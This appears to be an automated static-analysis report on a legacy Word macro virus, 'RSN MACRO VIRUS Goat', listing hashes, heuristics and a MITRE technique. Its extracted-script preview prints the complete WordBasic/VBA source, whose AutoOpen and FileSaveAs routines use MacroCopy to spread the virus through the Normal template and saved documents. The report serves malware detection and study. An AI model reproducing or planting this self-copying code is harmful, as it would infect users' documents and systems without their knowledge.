RSN MACRO VIRUS Goat — Office (OLE) malware analysis

Static analysis result for SHA-256 521b48c06d397e40…

MALICIOUS

Office (OLE)

35.5 KB Created: 1997-03-23 12:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3166b956a9e4a7e7fd3f21a9061320c4 SHA-1: a29179e2834b1d28ee2ea1841848c80d987dfed1 SHA-256: 521b48c06d397e40de351c113f5081a9b7da85f8d256226cef1f9037bac1ffef
68 Risk Score

Malware Insights

RSN MACRO VIRUS Goat · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits high-confidence indicators of a legacy macro virus, specifically the 'RSN MACRO VIRUS Goat' variant. The presence of an AutoOpen macro and legacy WordBasic markers strongly suggests an intent to execute malicious code automatically when the document is opened. The script attempts to copy macros and potentially execute them, indicating a propagation or payload delivery mechanism.

Heuristics 3

  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    WordBasic.Insert Chr(13) + "MacroCopy " + Chr(34) + "Normal:AutoOpen" + Chr(34) + ", VFileName$ + " + Chr(34) + ":AutoOpen" + Chr(34)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2654 bytes
SHA-256: 6761037cd924268eef3e9cdd0ee2b664a284d6ed1a84630fdcda968e1d1ba55a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Attribute MAIN.VB_Description = "?eàá?òà?ò ?eè ?à?è?è ?àé?à íà ?è?ê"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
WordBasic.FileSaveAs dlg

WordBasic.ToolsMacro Name:="FSaveAs", Edit:=1, Description:="佯噌铗噱?镳?玎镨耔 羿殡?磬 滂耜", Show:=1
WordBasic.EndOfDocument
WordBasic.Insert Chr(13) + Chr(13) + "Sub FSAs(VFileName$)"
WordBasic.Insert Chr(13) + "MsgBox VFileName$"
WordBasic.Insert Chr(13) + "FileSaveAs .Name = VFileName$, .Format = 1"
WordBasic.Insert Chr(13) + "MacroCopy " + Chr(34) + "Normal:FileSaveAs" + Chr(34) + ", VFileName$ +" + Chr(34) + ":FileSaveAs" + Chr(34)
WordBasic.Insert Chr(13) + "MacroCopy " + Chr(34) + "Normal:AutoOpen" + Chr(34) + ", VFileName$ + " + Chr(34) + ":AutoOpen" + Chr(34)
WordBasic.Insert Chr(13) + "MacroCopy " + Chr(34) + "Normal:MVG" + Chr(34) + ", VFileName$ +" + Chr(34) + ":MVG" + Chr(34)
WordBasic.Insert Chr(13) + "End sub"
WordBasic.FileClose 1
WordBasic.Call "FSaveAs.FSAs", WordBasic.[FileName$]()
WordBasic.ToolsMacro Name:="FSaveAs", Delete:=1
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
WordBasic.ToolsMacro Name:="AOpen", Edit:=1, Description:="佯噌铗噱?镳?铗牮�蜩� 羿殡"
WordBasic.EndOfDocument
WordBasic.Insert Chr(13) + Chr(13) + "Sub AOp(VFileName$)"
WordBasic.Insert Chr(13) + "MsgBox VFileName$"
WordBasic.Insert Chr(13) + "MacroCopy VFileName$+" + Chr(34) + ":FileSaveAs" + Chr(34) + ", " + Chr(34) + "Normal:FileSaveAs" + Chr(34)
WordBasic.Insert Chr(13) + "MacroCopy VFileName$ + " + Chr(34) + ":AutoOpen" + Chr(34) + ", " + Chr(34) + "Normal:AutoOpen" + Chr(34)
WordBasic.Insert Chr(13) + "MacroCopy VFileName$ + " + Chr(34) + ":MVG" + Chr(34) + ", " + Chr(34) + "Normal:MVG" + Chr(34)
WordBasic.Insert Chr(13) + "End sub"
WordBasic.FileClose 1
WordBasic.Call "AOpen.AOp", WordBasic.[FileName$]()
WordBasic.ToolsMacro Name:="AOpen", Delete:=1

End Sub

Attribute VB_Name = "MVG"

Public Sub MAIN()
Attribute MAIN.VB_Description = "ì?òêà aèeó?à"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.MVG.MAIN"

Rem     --------(c)Macro Virus Generator    -----------
End Sub

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